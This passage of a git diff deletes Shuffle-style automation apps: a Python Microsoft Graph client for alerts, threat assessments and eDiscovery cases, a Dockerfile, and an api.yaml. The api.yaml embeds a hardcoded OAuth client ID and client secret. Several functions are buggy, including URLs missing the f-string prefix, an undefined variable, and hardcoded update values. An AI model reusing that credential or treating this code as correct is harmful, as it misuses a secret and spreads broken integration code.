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 diff --git a/microsoft-security-and-compliance/1.0.0/requirements.txt b/microsoft-security-and-compliance/1.0.0/requirements.txt deleted file mode 100644 index fd7d3e06..00000000 --- a/microsoft-security-and-compliance/1.0.0/requirements.txt +++ /dev/null @@ -1 +0,0 @@ -requests==2.25.1 \ No newline at end of file diff --git a/microsoft-security-and-compliance/1.0.0/src/app.py b/microsoft-security-and-compliance/1.0.0/src/app.py deleted file mode 100644 index 77b45cb8..00000000 --- a/microsoft-security-and-compliance/1.0.0/src/app.py +++ /dev/null @@ -1,611 +0,0 @@ -import socket -import asyncio -import time -import random -import json -import uuid -import time -import requests - -from walkoff_app_sdk.app_base import AppBase - -# Antispam -# https://protection.office.com/threatpolicy -# https://protection.office.com/antispam -# https://docs.microsoft.com/en-us/microsoft-365/security/office-365-security/configure-the-connection-filter-policy?view=o365-worldwide - -#create_url = "https://compliance.microsoft.com/api/ComplianceSearch" -#Request URL: -# https://docs.microsoft.com/en-us/information-protection/develop/overview -# https://docs.microsoft.com/en-us/graph/api/resources/ediscovery-ediscoveryapioverview?view=graph-rest-beta -# Microsoft Graph Security securityAction entity -# https://docs.microsoft.com/en-us/graph/api/resources/threatassessment-api-overview?view=graph-rest-1.0 - -# Permissions (Delegated): SecurityEvents, ThreatAssement, ThreatIndicators, Compliance -# !! Have a "report email" internally using office365 !! -# Microsoft Threat Protection -# https://security.microsoft.com/mtp/ -# https://protection.office.com/api/AcceptedDomain - -class MSComplianceCenter(AppBase): - __version__ = "1.0.0" - app_name = "Microsoft Security and Compliance" - - def __init__(self, redis, logger, console_logger=None): - """ - Each app should have this __init__ to set up Redis and logging. - :param redis: - :param logger: - :param console_logger: - """ - super().__init__(redis, logger, console_logger) - - def authenticate(self, tenant_id, client_id, client_secret, graph_url): - s = requests.Session() - auth_url = f"https://login.microsoftonline.com/{tenant_id}/oauth2/v2.0/token" - auth_data = { - "grant_type": "client_credentials", - "client_id": client_id, - "client_secret": client_secret, - "scope": f"{graph_url}/.default", - } - auth_headers = { - "Content-Type": "application/x-www-form-urlencoded", - "cache-control": "no-cache", - } - - print(f"Making request to: {auth_url}") - res = s.post(auth_url, data=auth_data, headers=auth_headers) - - # Auth failed, raise exception with the response - if res.status_code != 200: - raise ConnectionError(res.text) - - access_token = res.json().get("access_token") - s.headers = {"Authorization": f"Bearer {access_token}", "cache-control": "no-cache"} - print(s) - return s - - #graph_url = "https://graph.microsoft.com" - #session = self.authenticate(tenant_id, client_id, client_secret, graph_url) - #create_url = "https://protection.office.com/api/ComplianceSearch" - #create_url = "https://compliance.microsoft.com/api/ComplianceSearch" - ##https://protection.office.com/api/HostedContentFilterRule - #ret = session.post(graph_url) - #print(ret.status_code) - #print(ret.text) - #if ret.status_code < 300: - # data = ret.json() - # #return {"success": True, "alerts": data["value"]} - - #return {"success": False, "reason": "Bad status code %d - expecting 200." % ret.status_code} - - # ENABLE: https://protection.office.com/api/OrganizationCustomization/Enable?source=HostedContentFilterPolicy - - - # GET:https://graph.microsoft.com/v1.0/me/messages?$filter=from/emailAddress/address+eq+'xx@xxxx.onmicrosoft.com'+and+isRead+eq+False - - def get_alerts(self, tenant_id, client_id, client_secret, top): - graph_url = "https://graph.microsoft.com" - session = self.authenticate(tenant_id, client_id, client_secret, graph_url) - if top: - graph_url = f"https://graph.microsoft.com/v1.0/security/alerts?$top={top}" - else: - graph_url = f"https://graph.microsoft.com/v1.0/security/alerts?$top=10" - ret = session.get(graph_url) - print(ret.status_code) - print(ret.text) - if ret.status_code < 300: - data = ret.json() - return {"success": True, "alerts": data["value"]} - - return {"success": False, "reason": "Bad status code %d - expecting 200." % ret.status_code} - - def get_alerts_by_severity(self, tenant_id, client_id, client_secret, top, severity): - graph_url = "https://graph.microsoft.com" - session = self.authenticate(tenant_id, client_id, client_secret, graph_url) - if top: - graph_url = f"https://graph.microsoft.com/v1.0/security/alerts?$filter=Severity eq '{severity}'&$top={top}" - else: - graph_url = f"https://graph.microsoft.com/v1.0/security/alerts?$filter=Severity eq '{severity}'&$top=5" - ret = session.get(graph_url) - print(ret.status_code) - print(ret.text) - if ret.status_code < 300: - data = ret.json() - return {"success": True, "alerts": data["value"]} - - return {"success": False, "reason": "Bad status code %d - expecting 200." % ret.status_code} - - def get_alerts_by_vendors(self, tenant_id, client_id, client_secret, vendor, top): - vendor_code = { - "Azure Advanced Threat Protection":"Azure Advanced Threat Protection", - "Azure Security Center":"ASC", - "Microsoft Cloud App Security":"MCAS", - "Azure Active Directory Identity Protection":"IPC", - "Azure Sentinel":"Azure Sentinel", - "Microsoft Defender Advanced Threat Protection":"Microsoft Defender ATP" - } - graph_url = "https://graph.microsoft.com" - session = self.authenticate(tenant_id, client_id, client_secret, graph_url) - if top: - graph_url = f"https://graph.microsoft.com/v1.0/security/alerts?$filter=vendorInformation/provider eq '{vendor_code[vendor]}'&$top={top}" - else: - graph_url = f"https://graph.microsoft.com/v1.0/security/alerts?$filter=vendorInformation/provider eq '{vendor_code[vendor]}'&$top=5" - ret = session.get(graph_url) - print(ret.status_code) - print(ret.text) - if ret.status_code < 300: - data = ret.json() - return {"success": True, "alerts": data["value"]} - - return {"success": False, "reason": "Bad status code %d - expecting 200." % ret.status_code} - - def get_alert_by_id(self, tenant_id, client_id, client_secret, alert_id): - graph_url = "https://graph.microsoft.com" - session = self.authenticate(tenant_id, client_id, client_secret, graph_url) - - graph_url = f"https://graph.microsoft.com/v1.0/security/alerts/{alert_id}" - ret = session.get(graph_url) - print(ret.status_code) - print(ret.text) - if ret.status_code < 300: - data = ret.json() - return {"success": True, "alerts": data["value"]} - - return {"success": False, "reason": "Bad status code %d - expecting 200." % ret.status_code, "error_response":ret.text} - - def update_alert(self, tenant_id, client_id, client_secret, alert_id, assigned_to, comments, tags, feedback, status, vendor, provider, sub_provider,provider_version): - """This function needs to be tested.""" - - graph_url = "https://graph.microsoft.com" - session = self.authenticate(tenant_id, client_id, client_secret, graph_url) - - graph_url = f"https://graph.microsoft.com/v1.0/security/alerts/{alert_id}" - - tags_list = [] - if tags: - for tag in tags.split(","): - tags_list.append(tag) - - request_body = { - "assignedTo": assigned_to, - "comments":[comments], - "tags":tags_list, - "feedback": feedback, - "status": status, - "vendorInformation": { - "provider": provider, - "providerVersion": provider_version, - "subProvider": sub_provider, - "vendor": vendor - } - } - filtered_request_body = {k:v for k,v in request_body.items() if len(v) > 0} - print(filtered_request_body) - ret = session.patch(graph_url, json=filtered_request_body) - print(ret.status_code) - print(ret.text) - if ret.status_code < 300: - data = ret.json() - return data - - return {"success": False, "reason": "Bad status code %d - expecting 200." % ret.status_code, "error_response":ret.text} - - def list_threat_assesment_requests(self, tenant_id, client_id, client_secret): - graph_url = "https://graph.microsoft.com" - session = self.authenticate(tenant_id, client_id, client_secret, graph_url) - - graph_url = "https://graph.microsoft.com/v1.0/informationProtection/threatAssessmentRequests" - ret = session.get(graph_url) - print(ret.status_code) - print(ret.text) - if ret.status_code < 300: - data = ret.json() - return data - - return {"success": False, "reason": "Bad status code %d - expecting 200." % ret.status_code,"error_response":ret.text} - - def get_threat_assesment_request(self, tenant_id, client_id, client_secret, request_id): - graph_url = "https://graph.microsoft.com" - session = self.authenticate(tenant_id, client_id, client_secret, graph_url) - - graph_url = f"https://graph.microsoft.com/v1.0/informationProtection/threatAssessmentRequests/{request_id}" - ret = session.get(graph_url) - print(ret.status_code) - print(ret.text) - if ret.status_code < 300: - data = ret.json() - return data - - return {"success": False, "reason": "Bad status code %d - expecting 200." % ret.status_code,"error_response":ret.text} - - def create_mail_threat_assessment(self, tenant_id, client_id, client_secret, reciepient_email, expected_assessment, category, message_uri, status): - graph_url = "https://graph.microsoft.com" - session = self.authenticate(tenant_id, client_id, client_secret, graph_url) - graph_url = f"https://graph.microsoft.com/v1.0/informationProtection/threatAssessmentRequests" - - headers = { - "Content-type": "application/json" - } - - request_body = { - "@odata.type": "#microsoft.graph.mailAssessmentRequest", - "recipientEmail": reciepient_email, - "expectedAssessment": expected_assessment, - "category": category, - "messageUri": message_uri, - "status": status - } - - ret = session.post(graph_url, headers=headers, json =request_body ) - print(ret.status_code) - print(ret.text) - if ret.status_code < 300: - data = ret.json() - return data - - return {"success": False, "reason": "Bad status code %d - expecting 200." % ret.status_code,"error_response":ret.text} - - - def create_url_threat_assessment(self, tenant_id, client_id, client_secret, url, expected_assessment, category, status): - graph_url = "https://graph.microsoft.com" - session = self.authenticate(tenant_id, client_id, client_secret, graph_url) - graph_url = "https://graph.microsoft.com/v1.0/informationProtection/threatAssessmentRequests" - - - request_body ={ - "@odata.type": "#microsoft.graph.urlAssessmentRequest", - "url": url, - "expectedAssessment": expected_assessment, - "category": category, - "status": status - } - - ret = session.post(graph_url,json =request_body ) - print(ret.status_code) - print(ret.text) - if ret.status_code < 300: - data = ret.json() - return data - - return {"success": False, "reason": "Bad status code %d - expecting 200." % ret.status_code,"error_response":ret.text} - - def create_file_threat_assessment(self, tenant_id, client_id, client_secret, filename, content_data, expected_assessment, category, status): - graph_url = "https://graph.microsoft.com" - session = self.authenticate(tenant_id, client_id, client_secret, graph_url) - graph_url = "https://graph.microsoft.com/v1.0/informationProtection/threatAssessmentRequests" - - headers = { - "Content-type": "application/json" - } - - request_body ={ - "@odata.type": "#microsoft.graph.fileAssessmentRequest", - "expectedAssessment": expected_assessment, - "category": category, - "fileName": filename, - "contentData": content_data - } - - ret = session.post(graph_url, headers= headers ,json =request_body ) - print(ret.status_code) - print(ret.text) - if ret.status_code < 300: - data = ret.json() - return data - - return {"success": False, "reason": "Bad status code %d - expecting 200." % ret.status_code,"error_response":ret.text} - - def list_secure_score(self, tenant_id, client_id, client_secret, top): - graph_url = "https://graph.microsoft.com" - session = self.authenticate(tenant_id, client_id, client_secret, graph_url) - if top: - graph_url = f"https://graph.microsoft.com/v1.0/security/secureScores?$top={top}" - else: - graph_url = "https://graph.microsoft.com/v1.0/security/secureScores?$top=1" - - ret = session.get(graph_url) - print(ret.status_code) - print(ret.text) - if ret.status_code < 300: - data = ret.json() - return data - - return {"success": False, "reason": "Bad status code %d - expecting 200." % ret.status_code,"error_response":ret.text} - - def list_cases(self, tenant_id, client_id, client_secret): - graph_url = "https://graph.microsoft.com" - session = self.authenticate(tenant_id, client_id, client_secret, graph_url) - graph_url = "https://graph.microsoft.com/beta/compliance/ediscovery/cases" - - ret = session.get(graph_url) - print(ret.status_code) - print(ret.text) - if ret.status_code < 300: - data = ret.json() - return data - - return {"success": False, "reason": "Bad status code %d - expecting 200." % ret.status_code,"error_response":ret.text} - - def get_case(self, tenant_id, client_id, client_secret,case_id): - graph_url = "https://graph.microsoft.com" - session = self.authenticate(tenant_id, client_id, client_secret, graph_url) - graph_url = f"https://graph.microsoft.com/beta/compliance/ediscovery/cases/{case_id}" - - ret = session.get(graph_url) - print(ret.status_code) - print(ret.text) - if ret.status_code < 300: - data = ret.json() - return data - - return {"success": False, "reason": "Bad status code %d - expecting 200." % ret.status_code,"error_response":ret.text} - - def create_case(self, tenant_id, client_id, client_secret, display_name): - graph_url = "https://graph.microsoft.com" - session = self.authenticate(tenant_id, client_id, client_secret, graph_url) - graph_url = "https://graph.microsoft.com/beta/compliance/ediscovery/cases" - - headers = { - "Content-type": "application/json" - } - - request_body = { - "displayName": display_name - } - ret = session.post(graph_url, headers = headers ,json = request_body) - print(ret.status_code) - print(ret.text) - if ret.status_code < 300: - data = ret.json() - return data - - return {"success": False, "reason": "Bad status code %d - expecting 200." % ret.status_code,"error_response":ret.text} - - def update_case(self, tenant_id, client_id, client_secret,case_id, display_name, description, external_id): - graph_url = "https://graph.microsoft.com" - session = self.authenticate(tenant_id, client_id, client_secret, graph_url) - graph_url = f"https://graph.microsoft.com/beta/compliance/ediscovery/cases/{case_id}" - - headers = { - "Content-type": "application/json" - } - - request_body = { - "displayName": "My Case 1 - Renamed", - "description": "Updated description", - "externalId": "Updated externalId" - } - ret = session.patch(graph_url, headers = headers ,json = request_body) - print(ret.status_code) - print(ret.text) - if ret.status_code < 300: - data = ret.json() - return data - - return {"success": False, "reason": "Bad status code %d - expecting 200." % ret.status_code,"error_response":ret.text} - - def close_case(self, tenant_id, client_id, client_secret, case_id): - graph_url = "https://graph.microsoft.com" - session = self.authenticate(tenant_id, client_id, client_secret, graph_url) - graph_url = "https://graph.microsoft.com/beta/compliance/ediscovery/cases/{case_id}/close" - - ret = session.post(graph_url) - print(ret.status_code) - print(ret.text) - if ret.status_code < 300: - data = ret.json() - return data - - return {"success": False, "reason": "Bad status code %d - expecting 200." % ret.status_code,"error_response":ret.text} - - def reopen_case(self, tenant_id, client_id, client_secret, case_id): - graph_url = "https://graph.microsoft.com" - session = self.authenticate(tenant_id, client_id, client_secret, graph_url) - graph_url = "https://graph.microsoft.com/beta/compliance/ediscovery/cases/{case_id}/reopen" - - ret = session.post(graph_url) - print(ret.status_code) - print(ret.text) - if ret.status_code < 300: - data = ret.json() - return data - - return {"success": False, "reason": "Bad status code %d - expecting 200." % ret.status_code,"error_response":ret.text} - - def list_custodians(self, tenant_id, client_id, client_secret,case_id): - graph_url = "https://graph.microsoft.com" - session = self.authenticate(tenant_id, client_id, client_secret, graph_url) - graph_url = f"https://graph.microsoft.com/beta/compliance/ediscovery/cases/{case_id}/custodians" - - ret = session.get(graph_url) - print(ret.status_code) - print(ret.text) - if ret.status_code < 300: - data = ret.json() - return data - - return {"success": False, "reason": "Bad status code %d - expecting 200." % ret.status_code,"error_response":ret.text} - - def get_custodian(self, tenant_id, client_id, client_secret, case_id, custodian_id): - graph_url = "https://graph.microsoft.com" - session = self.authenticate(tenant_id, client_id, client_secret, graph_url) - graph_url = f"https://graph.microsoft.com/beta/compliance/ediscovery/cases/{case_id}/custodians/{custodian_id}" - - ret = session.get(graph_url) - print(ret.status_code) - print(ret.text) - if ret.status_code < 300: - data = ret.json() - return data - - return {"success": False, "reason": "Bad status code %d - expecting 200." % ret.status_code,"error_response":ret.text} - - - def create_custodian(self, tenant_id, client_id, client_secret, case_id, email, apply_hold_to_sources): - graph_url = "https://graph.microsoft.com" - session = self.authenticate(tenant_id, client_id, client_secret, graph_url) - graph_url = f"https://graph.microsoft.com/beta/compliance/ediscovery/cases/{case_id}/custodians/" - - headers = { - "Content-Type": "application/json", - "Content-length": "279" - } - request_body = { - "email": email, - "applyHoldToSources":apply_hold_to_sources - } - - ret = session.post(graph_url, headers=headers ,json= request_body) - print(ret.status_code) - print(ret.text) - if ret.status_code < 300: - data = ret.json() - return data - - return {"success": False, "reason": "Bad status code %d - expecting 200." % ret.status_code,"error_response":ret.text} - - def update_custodian(self, tenant_id, client_id, client_secret,case_id, custodian_id, apply_hold_to_sources): - graph_url = "https://graph.microsoft.com" - session = self.authenticate(tenant_id, client_id, client_secret, graph_url) - graph_url = f"https://graph.microsoft.com/beta/compliance/ediscovery/cases/{case_id}/custodians/{custodian_id}" - - request_body = { - "applyHoldToSources": apply_hold_to_sources - } - - ret = session.patch(graph_url, headers = headers ,json = request_body) - print(ret.status_code) - print(ret.text) - if ret.status_code < 300: - data = ret.json() - return data - - return {"success": False, "reason": "Bad status code %d - expecting 200." % ret.status_code,"error_response":ret.text} - - def activate_custodian(self, tenant_id, client_id, client_secret,case_id, custodian_id): - graph_url = "https://graph.microsoft.com" - session = self.authenticate(tenant_id, client_id, client_secret, graph_url) - graph_url = f"https://graph.microsoft.com/beta/compliance/ediscovery/cases/{case_id}/custodians/{custodian_id}/activate" - - headers = { - "Content-Type": "application/json" - } - - ret = session.post(graph_url) - print(ret.status_code) - print(ret.text) - if ret.status_code < 300: - data = ret.json() - return data - - return {"success": False, "reason": "Bad status code %d - expecting 200." % ret.status_code,"error_response":ret.text} - - def release_custodian(self, tenant_id, client_id, client_secret,case_id, custodian_id): - graph_url = "https://graph.microsoft.com" - session = self.authenticate(tenant_id, client_id, client_secret, graph_url) - graph_url = f"https://graph.microsoft.com/beta/compliance/ediscovery/cases/{case_id}/custodians/{custodian_id}/release" - - headers = { - "Content-Type": "application/json" - } - - ret = session.post(graph_url,headers= headers) - print(ret.status_code) - print(ret.text) - if ret.status_code < 300: - data = ret.json() - return data - - return {"success": False, "reason": "Bad status code %d - expecting 200." % ret.status_code,"error_response":ret.text} - - def list_legalholds(self, tenant_id, client_id, client_secret,case_id): - graph_url = "https://graph.microsoft.com" - session = self.authenticate(tenant_id, client_id, client_secret, graph_url) - graph_url = f"https://graph.microsoft.com/beta/compliance/ediscovery/cases/{case_id}/legalholds" - - ret = session.get(graph_url) - print(ret.status_code) - print(ret.text) - if ret.status_code < 300: - data = ret.json() - return data - - return {"success": False, "reason": "Bad status code %d - expecting 200." % ret.status_code,"error_response":ret.text} - - def get_legalhold(self, tenant_id, client_id, client_secret, case_id, legalhold_id): - graph_url = "https://graph.microsoft.com" - session = self.authenticate(tenant_id, client_id, client_secret, graph_url) - graph_url = f"https://graph.microsoft.com/beta/compliance/ediscovery/cases/{case_id}/custodians/{legalhold_id}" - - ret = session.get(graph_url) - print(ret.status_code) - print(ret.text) - if ret.status_code < 300: - data = ret.json() - return data - - return {"success": False, "reason": "Bad status code %d - expecting 200." % ret.status_code,"error_response":ret.text} - - def create_legalhold(self, tenant_id, client_id, client_secret, case_id, display_name, description, is_enabled, status, content_query,errors): - graph_url = "https://graph.microsoft.com" - session = self.authenticate(tenant_id, client_id, client_secret, graph_url) - graph_url = f"https://graph.microsoft.com/beta/compliance/ediscovery/cases/{case_id}/legalHolds" - - error_list = [str(i) for i in errors.split(',')] - headers = { - "Content-Type": "application/json" - } - request_body = { - "@odata.type": "#microsoft.graph.ediscovery.legalHold", - "description": str(description), - "isEnabled": is_enabled, - "status": status, - "contentQuery": "String", - "errors": error_list, - "displayName": display_name - } - filtered_request_body = {k:v for k,v in request_body.items() if v is not None} - - ret = session.post(graph_url ,headers=headers ,json= filtered_request_body) - print(ret.status_code) - print(ret.text) - if ret.status_code < 300: - data = ret.json() - return data - - return {"success": False, "reason": "Bad status code %d - expecting 200." % ret.status_code,"error_response":ret.text} - - def list_source_collections(self, tenant_id, client_id, client_secret,case_id): - graph_url = "https://graph.microsoft.com" - session = self.authenticate(tenant_id, client_id, client_secret, graph_url) - graph_url = f"https://graph.microsoft.com/beta/compliance/ediscovery/cases/{case_id}/sourceCollections" - - ret = session.get(graph_url) - print(ret.status_code) - print(ret.text) - if ret.status_code < 300: - data = ret.json() - return data - - return {"success": False, "reason": "Bad status code %d - expecting 200." % ret.status_code,"error_response":ret.text} - - def list_people(self, tenant_id, client_id, client_secret, user_principal_name): - graph_url = "https://graph.microsoft.com" - session = self.authenticate(tenant_id, client_id, client_secret, graph_url) - graph_url = f"https://graph.microsoft.com/v1.0/users/{user_principal_name}/people" - - ret = session.get(graph_url) - print(ret.status_code) - print(ret.text) - if ret.status_code < 300: - data = ret.json() - return data - - return {"success": False, "reason": "Bad status code %d - expecting 200." % ret.status_code,"error_response":ret.text} - - #https://protection.office.com/api/ComplianceSearch/StartSearch?id=Another+search&retry=False - -if __name__ == "__main__": - MSComplianceCenter.run() diff --git a/microsoft-security-oauth2/1.0.0/Dockerfile b/microsoft-security-oauth2/1.0.0/Dockerfile deleted file mode 100644 index bfa83edc..00000000 --- a/microsoft-security-oauth2/1.0.0/Dockerfile +++ /dev/null @@ -1,26 +0,0 @@ -# Base our app image off of the WALKOFF App SDK image -FROM frikky/shuffle:app_sdk as base - -# We're going to stage away all of the bloat from the build tools so lets create a builder stage -FROM base as builder - -# Install all alpine build tools needed for our pip installs -RUN apk --no-cache add --update alpine-sdk libffi libffi-dev musl-dev openssl-dev - -# Install all of our pip packages in a single directory that we can copy to our base image later -RUN mkdir /install -WORKDIR /install -COPY requirements.txt /requirements.txt -RUN pip install --prefix="/install" -r /requirements.txt - -# Switch back to our base image and copy in all of our built packages and source code -FROM base -COPY --from=builder /install /usr/local -COPY src /app - -# Install any binary dependencies needed in our final image -RUN apk --no-cache add --update libmagic - -# Finally, lets run our app! -WORKDIR /app -CMD python app.py --log-level DEBUG diff --git a/microsoft-security-oauth2/1.0.0/api.yaml b/microsoft-security-oauth2/1.0.0/api.yaml deleted file mode 100644 index 96745b26..00000000 --- a/microsoft-security-oauth2/1.0.0/api.yaml +++ /dev/null @@ -1,54 +0,0 @@ -walkoff_version: 1.0.0 -app_version: 1.0.0 -name: Microsoft Security Oauth2 -description: Microsoft Security Center with Oauth2 authentication -tags: - - Example -categories: - - Example -contact_info: - name: "@frikkylikeme" - url: https://github.com/frikky -authentication: - required: true - type: oauth2 - redirect_uri: "https://login.microsoftonline.com/common/oauth2/authorize" - token_uri: "https://login.microsoftonline.com/common/oauth2/v2.0/token" - client_id: "dae24316-4bec-4832-b660-4cba6dc2477b" - client_secret: "._Qu3EvYY-OW_D57uy79qwEo.32qD6.l0z" - scope: - - offline_access - - UserAuthenticationMethod.ReadWrite.All -actions: - - name: reset_password - description: Change password of a user in Azure - parameters: - - name: userId - description: - example: "user@company.com" - required: true - schema: - type: string - - name: passwordId - description: - example: "28c10230-6103-485e-b985-444c60001490" - required: true - schema: - type: string - - name: newPassword - description: - example: "*****" - required: false - schema: - type: string - returns: 